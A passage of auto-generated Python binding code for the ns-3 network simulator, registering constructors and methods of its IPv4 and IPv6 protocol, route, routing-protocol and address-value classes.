'device'), param('ns3::Ptr< ns3::Packet const >', 'p'), param('uint16_t', 'protocol'), param('ns3::Address const &', 'from'), param('ns3::Address const &', 'to'), param('ns3::NetDevice::PacketType', 'packetType')]) ## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::Remove(ns3::Ptr<ns3::IpL4Protocol> protocol) [member function] cls.add_method('Remove', 'void', [param('ns3::Ptr< ns3::IpL4Protocol >', 'protocol')], is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::Remove(ns3::Ptr<ns3::IpL4Protocol> protocol, uint32_t interfaceIndex) [member function] cls.add_method('Remove', 'void', [param('ns3::Ptr< ns3::IpL4Protocol >', 'protocol'), param('uint32_t', 'interfaceIndex')], is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): bool ns3::Ipv4L3Protocol::RemoveAddress(uint32_t interfaceIndex, uint32_t addressIndex) [member function] cls.add_method('RemoveAddress', 'bool', [param('uint32_t', 'interfaceIndex'), param('uint32_t', 'addressIndex')], is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): bool ns3::Ipv4L3Protocol::RemoveAddress(uint32_t interface, ns3::Ipv4Address address) [member function] cls.add_method('RemoveAddress', 'bool', [param('uint32_t', 'interface'), param('ns3::Ipv4Address', 'address')], is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4L3Protocol::SelectSourceAddress(ns3::Ptr<const ns3::NetDevice> device, ns3::Ipv4Address dst, ns3::Ipv4InterfaceAddress::InterfaceAddressScope_e scope) [member function] cls.add_method('SelectSourceAddress', 'ns3::Ipv4Address', [param('ns3::Ptr< ns3::NetDevice const >', 'device'), param('ns3::Ipv4Address', 'dst'), param('ns3::Ipv4InterfaceAddress::InterfaceAddressScope_e', 'scope')], is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::Send(ns3::Ptr<ns3::Packet> packet, ns3::Ipv4Address source, ns3::Ipv4Address destination, uint8_t protocol, ns3::Ptr<ns3::Ipv4Route> route) [member function] cls.add_method('Send', 'void', [param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Ipv4Address', 'source'), param('ns3::Ipv4Address', 'destination'), param('uint8_t', 'protocol'), param('ns3::Ptr< ns3::Ipv4Route >', 'route')], is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::SendWithHeader(ns3::Ptr<ns3::Packet> packet, ns3::Ipv4Header ipHeader, ns3::Ptr<ns3::Ipv4Route> route) [member function] cls.add_method('SendWithHeader', 'void', [param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Ipv4Header', 'ipHeader'), param('ns3::Ptr< ns3::Ipv4Route >', 'route')], is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::SetDefaultTtl(uint8_t ttl) [member function] cls.add_method('SetDefaultTtl', 'void', [param('uint8_t', 'ttl')]) ## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::SetDown(uint32_t i) [member function] cls.add_method('SetDown', 'void', [param('uint32_t', 'i')], is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::SetForwarding(uint32_t i, bool val) [member function] cls.add_method('SetForwarding', 'void', [param('uint32_t', 'i'), param('bool', 'val')], is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::SetMetric(uint32_t i, uint16_t metric) [member function] cls.add_method('SetMetric', 'void', [param('uint32_t', 'i'), param('uint16_t', 'metric')], is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::SetNode(ns3::Ptr<ns3::Node> node) [member function] cls.add_method('SetNode', 'void', [param('ns3::Ptr< ns3::Node >', 'node')]) ## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::SetRoutingProtocol(ns3::Ptr<ns3::Ipv4RoutingProtocol> routingProtocol) [member function] cls.add_method('SetRoutingProtocol', 'void', [param('ns3::Ptr< ns3::Ipv4RoutingProtocol >', 'routingProtocol')], is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::SetUp(uint32_t i) [member function] cls.add_method('SetUp', 'void', [param('uint32_t', 'i')], is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4L3Protocol::SourceAddressSelection(uint32_t interface, ns3::Ipv4Address dest) [member function] cls.add_method('SourceAddressSelection', 'ns3::Ipv4Address', [param('uint32_t', 'interface'), param('ns3::Ipv4Address', 'dest')], is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): ns3::Ipv4L3Protocol::PROT_NUMBER [variable] cls.add_static_attribute('PROT_NUMBER', 'uint16_t const', is_const=True) ## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::DoDispose() [member function] cls.add_method('DoDispose', 'void', [], visibility='protected', is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::NotifyNewAggregate() [member function] cls.add_method('NotifyNewAggregate', 'void', [], visibility='protected', is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): bool ns3::Ipv4L3Protocol::GetIpForward() const [member function] cls.add_method('GetIpForward', 'bool', [], is_const=True, visibility='private', is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): bool ns3::Ipv4L3Protocol::GetWeakEsModel() const [member function] cls.add_method('GetWeakEsModel', 'bool', [], is_const=True, visibility='private', is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::SetIpForward(bool forward) [member function] cls.add_method('SetIpForward', 'void', [param('bool', 'forward')], visibility='private', is_virtual=True) ## ipv4-l3-protocol.h (module 'internet'): void ns3::Ipv4L3Protocol::SetWeakEsModel(bool model) [member function] cls.add_method('SetWeakEsModel', 'void', [param('bool', 'model')], visibility='private', is_virtual=True) return def register_Ns3Ipv4MaskChecker_methods(root_module, cls): ## ipv4-address.h (module 'network'): ns3::Ipv4MaskChecker::Ipv4MaskChecker() [constructor] cls.add_constructor([]) ## ipv4-address.h (module 'network'): ns3::Ipv4MaskChecker::Ipv4MaskChecker(ns3::Ipv4MaskChecker const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv4MaskChecker const &', 'arg0')]) return def register_Ns3Ipv4MaskValue_methods(root_module, cls): ## ipv4-address.h (module 'network'): ns3::Ipv4MaskValue::Ipv4MaskValue() [constructor] cls.add_constructor([]) ## ipv4-address.h (module 'network'): ns3::Ipv4MaskValue::Ipv4MaskValue(ns3::Ipv4MaskValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv4MaskValue const &', 'arg0')]) ## ipv4-address.h (module 'network'): ns3::Ipv4MaskValue::Ipv4MaskValue(ns3::Ipv4Mask const & value) [constructor] cls.add_constructor([param('ns3::Ipv4Mask const &', 'value')]) ## ipv4-address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::Ipv4MaskValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, is_virtual=True) ## ipv4-address.h (module 'network'): bool ns3::Ipv4MaskValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_virtual=True) ## ipv4-address.h (module 'network'): ns3::Ipv4Mask ns3::Ipv4MaskValue::Get() const [member function] cls.add_method('Get', 'ns3::Ipv4Mask', [], is_const=True) ## ipv4-address.h (module 'network'): std::string ns3::Ipv4MaskValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, is_virtual=True) ## ipv4-address.h (module 'network'): void ns3::Ipv4MaskValue::Set(ns3::Ipv4Mask const & value) [member function] cls.add_method('Set', 'void', [param('ns3::Ipv4Mask const &', 'value')]) return def register_Ns3Ipv4MulticastRoute_methods(root_module, cls): ## ipv4-route.h (module 'internet'): ns3::Ipv4MulticastRoute::Ipv4MulticastRoute(ns3::Ipv4MulticastRoute const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv4MulticastRoute const &', 'arg0')]) ## ipv4-route.h (module 'internet'): ns3::Ipv4MulticastRoute::Ipv4MulticastRoute() [constructor] cls.add_constructor([]) ## ipv4-route.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4MulticastRoute::GetGroup() const [member function] cls.add_method('GetGroup', 'ns3::Ipv4Address', [], is_const=True) ## ipv4-route.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4MulticastRoute::GetOrigin() const [member function] cls.add_method('GetOrigin', 'ns3::Ipv4Address', [], is_const=True) ## ipv4-route.h (module 'internet'): std::map<unsigned int, unsigned int, std::less<unsigned int>, std::allocator<std::pair<unsigned int const, unsigned int> > > ns3::Ipv4MulticastRoute::GetOutputTtlMap() const [member function] cls.add_method('GetOutputTtlMap', 'std::map< unsigned int, unsigned int >', [], is_const=True) ## ipv4-route.h (module 'internet'): uint32_t ns3::Ipv4MulticastRoute::GetParent() const [member function] cls.add_method('GetParent', 'uint32_t', [], is_const=True) ## ipv4-route.h (module 'internet'): void ns3::Ipv4MulticastRoute::SetGroup(ns3::Ipv4Address const group) [member function] cls.add_method('SetGroup', 'void', [param('ns3::Ipv4Address const', 'group')]) ## ipv4-route.h (module 'internet'): void ns3::Ipv4MulticastRoute::SetOrigin(ns3::Ipv4Address const origin) [member function] cls.add_method('SetOrigin', 'void', [param('ns3::Ipv4Address const', 'origin')]) ## ipv4-route.h (module 'internet'): void ns3::Ipv4MulticastRoute::SetOutputTtl(uint32_t oif, uint32_t ttl) [member function] cls.add_method('SetOutputTtl', 'void', [param('uint32_t', 'oif'), param('uint32_t', 'ttl')]) ## ipv4-route.h (module 'internet'): void ns3::Ipv4MulticastRoute::SetParent(uint32_t iif) [member function] cls.add_method('SetParent', 'void', [param('uint32_t', 'iif')]) ## ipv4-route.h (module 'internet'): ns3::Ipv4MulticastRoute::MAX_INTERFACES [variable] cls.add_static_attribute('MAX_INTERFACES', 'uint32_t const', is_const=True) ## ipv4-route.h (module 'internet'): ns3::Ipv4MulticastRoute::MAX_TTL [variable] cls.add_static_attribute('MAX_TTL', 'uint32_t const', is_const=True) return def register_Ns3Ipv4Route_methods(root_module, cls): cls.add_output_stream_operator() ## ipv4-route.h (module 'internet'): ns3::Ipv4Route::Ipv4Route(ns3::Ipv4Route const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv4Route const &', 'arg0')]) ## ipv4-route.h (module 'internet'): ns3::Ipv4Route::Ipv4Route() [constructor] cls.add_constructor([]) ## ipv4-route.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4Route::GetDestination() const [member function] cls.add_method('GetDestination', 'ns3::Ipv4Address', [], is_const=True) ## ipv4-route.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4Route::GetGateway() const [member function] cls.add_method('GetGateway', 'ns3::Ipv4Address', [], is_const=True) ## ipv4-route.h (module 'internet'): ns3::Ptr<ns3::NetDevice> ns3::Ipv4Route::GetOutputDevice() const [member function] cls.add_method('GetOutputDevice', 'ns3::Ptr< ns3::NetDevice >', [], is_const=True) ## ipv4-route.h (module 'internet'): ns3::Ipv4Address ns3::Ipv4Route::GetSource() const [member function] cls.add_method('GetSource', 'ns3::Ipv4Address', [], is_const=True) ## ipv4-route.h (module 'internet'): void ns3::Ipv4Route::SetDestination(ns3::Ipv4Address dest) [member function] cls.add_method('SetDestination', 'void', [param('ns3::Ipv4Address', 'dest')]) ## ipv4-route.h (module 'internet'): void ns3::Ipv4Route::SetGateway(ns3::Ipv4Address gw) [member function] cls.add_method('SetGateway', 'void', [param('ns3::Ipv4Address', 'gw')]) ## ipv4-route.h (module 'internet'): void ns3::Ipv4Route::SetOutputDevice(ns3::Ptr<ns3::NetDevice> outputDevice) [member function] cls.add_method('SetOutputDevice', 'void', [param('ns3::Ptr< ns3::NetDevice >', 'outputDevice')]) ## ipv4-route.h (module 'internet'): void ns3::Ipv4Route::SetSource(ns3::Ipv4Address src) [member function] cls.add_method('SetSource', 'void', [param('ns3::Ipv4Address', 'src')]) return def register_Ns3Ipv4RoutingProtocol_methods(root_module, cls): ## ipv4-routing-protocol.h (module 'internet'): ns3::Ipv4RoutingProtocol::Ipv4RoutingProtocol() [constructor] cls.add_constructor([]) ## ipv4-routing-protocol.h (module 'internet'): ns3::Ipv4RoutingProtocol::Ipv4RoutingProtocol(ns3::Ipv4RoutingProtocol const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv4RoutingProtocol const &', 'arg0')]) ## ipv4-routing-protocol.h (module 'internet'): static ns3::TypeId ns3::Ipv4RoutingProtocol::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## ipv4-routing-protocol.h (module 'internet'): void ns3::Ipv4RoutingProtocol::NotifyAddAddress(uint32_t interface, ns3::Ipv4InterfaceAddress address) [member function] cls.add_method('NotifyAddAddress', 'void', [param('uint32_t', 'interface'), param('ns3::Ipv4InterfaceAddress', 'address')], is_pure_virtual=True, is_virtual=True) ## ipv4-routing-protocol.h (module 'internet'): void ns3::Ipv4RoutingProtocol::NotifyInterfaceDown(uint32_t interface) [member function] cls.add_method('NotifyInterfaceDown', 'void', [param('uint32_t', 'interface')], is_pure_virtual=True, is_virtual=True) ## ipv4-routing-protocol.h (module 'internet'): void ns3::Ipv4RoutingProtocol::NotifyInterfaceUp(uint32_t interface) [member function] cls.add_method('NotifyInterfaceUp', 'void', [param('uint32_t', 'interface')], is_pure_virtual=True, is_virtual=True) ## ipv4-routing-protocol.h (module 'internet'): void ns3::Ipv4RoutingProtocol::NotifyRemoveAddress(uint32_t interface, ns3::Ipv4InterfaceAddress address) [member function] cls.add_method('NotifyRemoveAddress', 'void', [param('uint32_t', 'interface'), param('ns3::Ipv4InterfaceAddress', 'address')], is_pure_virtual=True, is_virtual=True) ## ipv4-routing-protocol.h (module 'internet'): void ns3::Ipv4RoutingProtocol::PrintRoutingTable(ns3::Ptr<ns3::OutputStreamWrapper> stream) const [member function] cls.add_method('PrintRoutingTable', 'void', [param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv4-routing-protocol.h (module 'internet'): bool ns3::Ipv4RoutingProtocol::RouteInput(ns3::Ptr<const ns3::Packet> p, ns3::Ipv4Header const & header, ns3::Ptr<const ns3::NetDevice> idev, ns3::Callback<void,ns3::Ptr<ns3::Ipv4Route>,ns3::Ptr<const ns3::Packet>,const ns3::Ipv4Header&,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> ucb, ns3::Callback<void,ns3::Ptr<ns3::Ipv4MulticastRoute>,ns3::Ptr<const ns3::Packet>,const ns3::Ipv4Header&,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> mcb, ns3::Callback<void,ns3::Ptr<const ns3::Packet>,const ns3::Ipv4Header&,unsigned int,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> lcb, ns3::Callback<void,ns3::Ptr<const ns3::Packet>,const ns3::Ipv4Header&,ns3::Socket::SocketErrno,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> ecb) [member function] cls.add_method('RouteInput', 'bool', [param('ns3::Ptr< ns3::Packet const >', 'p'), param('ns3::Ipv4Header const &', 'header'), param('ns3::Ptr< ns3::NetDevice const >', 'idev'), param('ns3::Callback< void, ns3::Ptr< ns3::Ipv4Route >, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ucb'), param('ns3::Callback< void, ns3::Ptr< ns3::Ipv4MulticastRoute >, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'mcb'), param('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, unsigned int, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'lcb'), param('ns3::Callback< void, ns3::Ptr< ns3::Packet const >, ns3::Ipv4Header const &, ns3::Socket::SocketErrno, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'ecb')], is_pure_virtual=True, is_virtual=True) ## ipv4-routing-protocol.h (module 'internet'): ns3::Ptr<ns3::Ipv4Route> ns3::Ipv4RoutingProtocol::RouteOutput(ns3::Ptr<ns3::Packet> p, ns3::Ipv4Header const & header, ns3::Ptr<ns3::NetDevice> oif, ns3::Socket::SocketErrno & sockerr) [member function] cls.add_method('RouteOutput', 'ns3::Ptr< ns3::Ipv4Route >', [param('ns3::Ptr< ns3::Packet >', 'p'), param('ns3::Ipv4Header const &', 'header'), param('ns3::Ptr< ns3::NetDevice >', 'oif'), param('ns3::Socket::SocketErrno &', 'sockerr')], is_pure_virtual=True, is_virtual=True) ## ipv4-routing-protocol.h (module 'internet'): void ns3::Ipv4RoutingProtocol::SetIpv4(ns3::Ptr<ns3::Ipv4> ipv4) [member function] cls.add_method('SetIpv4', 'void', [param('ns3::Ptr< ns3::Ipv4 >', 'ipv4')], is_pure_virtual=True, is_virtual=True) return def register_Ns3Ipv6_methods(root_module, cls): ## ipv6.h (module 'internet'): ns3::Ipv6::Ipv6(ns3::Ipv6 const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv6 const &', 'arg0')]) ## ipv6.h (module 'internet'): ns3::Ipv6::Ipv6() [constructor] cls.add_constructor([]) ## ipv6.h (module 'internet'): bool ns3::Ipv6::AddAddress(uint32_t interface, ns3::Ipv6InterfaceAddress address) [member function] cls.add_method('AddAddress', 'bool', [param('uint32_t', 'interface'), param('ns3::Ipv6InterfaceAddress', 'address')], is_pure_virtual=True, is_virtual=True) ## ipv6.h (module 'internet'): uint32_t ns3::Ipv6::AddInterface(ns3::Ptr<ns3::NetDevice> device) [member function] cls.add_method('AddInterface', 'uint32_t', [param('ns3::Ptr< ns3::NetDevice >', 'device')], is_pure_virtual=True, is_virtual=True) ## ipv6.h (module 'internet'): ns3::Ipv6InterfaceAddress ns3::Ipv6::GetAddress(uint32_t interface, uint32_t addressIndex) const [member function] cls.add_method('GetAddress', 'ns3::Ipv6InterfaceAddress', [param('uint32_t', 'interface'), param('uint32_t', 'addressIndex')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv6.h (module 'internet'): int32_t ns3::Ipv6::GetInterfaceForAddress(ns3::Ipv6Address address) const [member function] cls.add_method('GetInterfaceForAddress', 'int32_t', [param('ns3::Ipv6Address', 'address')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv6.h (module 'internet'): int32_t ns3::Ipv6::GetInterfaceForDevice(ns3::Ptr<const ns3::NetDevice> device) const [member function] cls.add_method('GetInterfaceForDevice', 'int32_t', [param('ns3::Ptr< ns3::NetDevice const >', 'device')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv6.h (module 'internet'): int32_t ns3::Ipv6::GetInterfaceForPrefix(ns3::Ipv6Address address, ns3::Ipv6Prefix mask) const [member function] cls.add_method('GetInterfaceForPrefix', 'int32_t', [param('ns3::Ipv6Address', 'address'), param('ns3::Ipv6Prefix', 'mask')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv6.h (module 'internet'): uint16_t ns3::Ipv6::GetMetric(uint32_t interface) const [member function] cls.add_method('GetMetric', 'uint16_t', [param('uint32_t', 'interface')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv6.h (module 'internet'): uint16_t ns3::Ipv6::GetMtu(uint32_t interface) const [member function] cls.add_method('GetMtu', 'uint16_t', [param('uint32_t', 'interface')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv6.h (module 'internet'): uint32_t ns3::Ipv6::GetNAddresses(uint32_t interface) const [member function] cls.add_method('GetNAddresses', 'uint32_t', [param('uint32_t', 'interface')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv6.h (module 'internet'): uint32_t ns3::Ipv6::GetNInterfaces() const [member function] cls.add_method('GetNInterfaces', 'uint32_t', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv6.h (module 'internet'): ns3::Ptr<ns3::NetDevice> ns3::Ipv6::GetNetDevice(uint32_t interface) [member function] cls.add_method('GetNetDevice', 'ns3::Ptr< ns3::NetDevice >', [param('uint32_t', 'interface')], is_pure_virtual=True, is_virtual=True) ## ipv6.h (module 'internet'): ns3::Ptr<ns3::IpL4Protocol> ns3::Ipv6::GetProtocol(int protocolNumber) const [member function] cls.add_method('GetProtocol', 'ns3::Ptr< ns3::IpL4Protocol >', [param('int', 'protocolNumber')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv6.h (module 'internet'): ns3::Ptr<ns3::IpL4Protocol> ns3::Ipv6::GetProtocol(int protocolNumber, int32_t interfaceIndex) const [member function] cls.add_method('GetProtocol', 'ns3::Ptr< ns3::IpL4Protocol >', [param('int', 'protocolNumber'), param('int32_t', 'interfaceIndex')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv6.h (module 'internet'): ns3::Ptr<ns3::Ipv6RoutingProtocol> ns3::Ipv6::GetRoutingProtocol() const [member function] cls.add_method('GetRoutingProtocol', 'ns3::Ptr< ns3::Ipv6RoutingProtocol >', [], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv6.h (module 'internet'): static ns3::TypeId ns3::Ipv6::GetTypeId() [member function] cls.add_method('GetTypeId', 'ns3::TypeId', [], is_static=True) ## ipv6.h (module 'internet'): void ns3::Ipv6::Insert(ns3::Ptr<ns3::IpL4Protocol> protocol) [member function] cls.add_method('Insert', 'void', [param('ns3::Ptr< ns3::IpL4Protocol >', 'protocol')], is_pure_virtual=True, is_virtual=True) ## ipv6.h (module 'internet'): void ns3::Ipv6::Insert(ns3::Ptr<ns3::IpL4Protocol> protocol, uint32_t interfaceIndex) [member function] cls.add_method('Insert', 'void', [param('ns3::Ptr< ns3::IpL4Protocol >', 'protocol'), param('uint32_t', 'interfaceIndex')], is_pure_virtual=True, is_virtual=True) ## ipv6.h (module 'internet'): bool ns3::Ipv6::IsForwarding(uint32_t interface) const [member function] cls.add_method('IsForwarding', 'bool', [param('uint32_t', 'interface')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv6.h (module 'internet'): bool ns3::Ipv6::IsUp(uint32_t interface) const [member function] cls.add_method('IsUp', 'bool', [param('uint32_t', 'interface')], is_pure_virtual=True, is_const=True, is_virtual=True) ## ipv6.h (module 'internet'): void ns3::Ipv6::RegisterExtensions() [member function] cls.add_method('RegisterExtensions', 'void', [], is_pure_virtual=True, is_virtual=True) ## ipv6.h (module 'internet'): void ns3::Ipv6::RegisterOptions() [member function] cls.add_method('RegisterOptions', 'void', [], is_pure_virtual=True, is_virtual=True) ## ipv6.h (module 'internet'): void ns3::Ipv6::Remove(ns3::Ptr<ns3::IpL4Protocol> protocol) [member function] cls.add_method('Remove', 'void', [param('ns3::Ptr< ns3::IpL4Protocol >', 'protocol')], is_pure_virtual=True, is_virtual=True) ## ipv6.h (module 'internet'): void ns3::Ipv6::Remove(ns3::Ptr<ns3::IpL4Protocol> protocol, uint32_t interfaceIndex) [member function] cls.add_method('Remove', 'void', [param('ns3::Ptr< ns3::IpL4Protocol >', 'protocol'), param('uint32_t', 'interfaceIndex')], is_pure_virtual=True, is_virtual=True) ## ipv6.h (module 'internet'): bool ns3::Ipv6::RemoveAddress(uint32_t interface, uint32_t addressIndex) [member function] cls.add_method('RemoveAddress', 'bool', [param('uint32_t', 'interface'), param('uint32_t', 'addressIndex')], is_pure_virtual=True, is_virtual=True) ## ipv6.h (module 'internet'): bool ns3::Ipv6::RemoveAddress(uint32_t interface, ns3::Ipv6Address address) [member function] cls.add_method('RemoveAddress', 'bool', [param('uint32_t', 'interface'), param('ns3::Ipv6Address', 'address')], is_pure_virtual=True, is_virtual=True) ## ipv6.h (module 'internet'): void ns3::Ipv6::Send(ns3::Ptr<ns3::Packet> packet, ns3::Ipv6Address source, ns3::Ipv6Address destination, uint8_t protocol, ns3::Ptr<ns3::Ipv6Route> route) [member function] cls.add_method('Send', 'void', [param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Ipv6Address', 'source'), param('ns3::Ipv6Address', 'destination'), param('uint8_t', 'protocol'), param('ns3::Ptr< ns3::Ipv6Route >', 'route')], is_pure_virtual=True, is_virtual=True) ## ipv6.h (module 'internet'): void ns3::Ipv6::SetDown(uint32_t interface) [member function] cls.add_method('SetDown', 'void', [param('uint32_t', 'interface')], is_pure_virtual=True, is_virtual=True) ## ipv6.h (module 'internet'): void ns3::Ipv6::SetForwarding(uint32_t interface, bool val) [member function] cls.add_method('SetForwarding', 'void', [param('uint32_t', 'interface'), param('bool', 'val')], is_pure_virtual=True, is_virtual=True) ## ipv6.h (module 'internet'): void ns3::Ipv6::SetMetric(uint32_t interface, uint16_t metric) [member function] cls.add_method('SetMetric', 'void', [param('uint32_t', 'interface'), param('uint16_t', 'metric')], is_pure_virtual=True, is_virtual=True) ## ipv6.h (module 'internet'): void ns3::Ipv6::SetPmtu(ns3::Ipv6Address dst, uint32_t pmtu) [member function] cls.add_method('SetPmtu', 'void', [param('ns3::Ipv6Address', 'dst'), param('uint32_t', 'pmtu')], is_pure_virtual=True, is_virtual=True) ## ipv6.h (module 'internet'): void ns3::Ipv6::SetRoutingProtocol(ns3::Ptr<ns3::Ipv6RoutingProtocol> routingProtocol) [member function] cls.add_method('SetRoutingProtocol', 'void', [param('ns3::Ptr< ns3::Ipv6RoutingProtocol >', 'routingProtocol')], is_pure_virtual=True, is_virtual=True) ## ipv6.h (module 'internet'): void ns3::Ipv6::SetUp(uint32_t interface) [member function] cls.add_method('SetUp', 'void', [param('uint32_t', 'interface')], is_pure_virtual=True, is_virtual=True) ## ipv6.h (module 'internet'): ns3::Ipv6Address ns3::Ipv6::SourceAddressSelection(uint32_t interface, ns3::Ipv6Address dest) [member function] cls.add_method('SourceAddressSelection', 'ns3::Ipv6Address', [param('uint32_t', 'interface'), param('ns3::Ipv6Address', 'dest')], is_pure_virtual=True, is_virtual=True) ## ipv6.h (module 'internet'): ns3::Ipv6::IF_ANY [variable] cls.add_static_attribute('IF_ANY', 'uint32_t const', is_const=True) ## ipv6.h (module 'internet'): bool ns3::Ipv6::GetIpForward() const [member function] cls.add_method('GetIpForward', 'bool', [], is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True) ## ipv6.h (module 'internet'): bool ns3::Ipv6::GetMtuDiscover() const [member function] cls.add_method('GetMtuDiscover', 'bool', [], is_pure_virtual=True, is_const=True, visibility='private', is_virtual=True) ## ipv6.h (module 'internet'): void ns3::Ipv6::SetIpForward(bool forward) [member function] cls.add_method('SetIpForward', 'void', [param('bool', 'forward')], is_pure_virtual=True, visibility='private', is_virtual=True) ## ipv6.h (module 'internet'): void ns3::Ipv6::SetMtuDiscover(bool mtuDiscover) [member function] cls.add_method('SetMtuDiscover', 'void', [param('bool', 'mtuDiscover')], is_pure_virtual=True, visibility='private', is_virtual=True) return def register_Ns3Ipv6AddressChecker_methods(root_module, cls): ## ipv6-address.h (module 'network'): ns3::Ipv6AddressChecker::Ipv6AddressChecker() [constructor] cls.add_constructor([]) ## ipv6-address.h (module 'network'): ns3::Ipv6AddressChecker::Ipv6AddressChecker(ns3::Ipv6AddressChecker const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv6AddressChecker const &', 'arg0')]) return def register_Ns3Ipv6AddressValue_methods(root_module, cls): ## ipv6-address.h (module 'network'): ns3::Ipv6AddressValue::Ipv6AddressValue() [constructor] cls.add_constructor([]) ## ipv6-address.h (module 'network'): ns3::Ipv6AddressValue::Ipv6AddressValue(ns3::Ipv6AddressValue const & arg0) [copy constructor] cls.add_constructor([param('ns3::Ipv6AddressValue const &', 'arg0')]) ## ipv6-address.h (module 'network'): ns3::Ipv6AddressValue::Ipv6AddressValue(ns3::Ipv6Address const & value) [constructor] cls.add_constructor([param('ns3::Ipv6Address const &', 'value')]) ## ipv6-address.h (module 'network'): ns3::Ptr<ns3::AttributeValue> ns3::Ipv6AddressValue::Copy() const [member function] cls.add_method('Copy', 'ns3::Ptr< ns3::AttributeValue >', [], is_const=True, is_virtual=True) ## ipv6-address.h (module 'network'): bool ns3::Ipv6AddressValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function] cls.add_method('DeserializeFromString', 'bool', [param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_virtual=True) ## ipv6-address.h (module 'network'): ns3::Ipv6Address ns3::Ipv6AddressValue::Get() const [member function] cls.add_method('Get', 'ns3::Ipv6Address', [], is_const=True) ## ipv6-address.h (module 'network'): std::string ns3::Ipv6AddressValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function] cls.add_method('SerializeToString', 'std::string', [param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')], is_const=True, is_virtual=True) ## ipv6-address.h (module 'network'): void ns3::Ipv6AddressValue::Set(ns3::Ipv6Address const & value) [member function] cls.add_method('Set', 'void', [param('ns3::Ipv6Address const &', 'value')]) return def register_Ns3Ipv6FlowClassifier_methods(root_module, cls): ## ipv6-flow-classifier.h (module 'flow-monitor'): ns3::Ipv6FlowClassifier::Ipv6FlowClassifier() [constructor] cls.add_constructor([]) ## 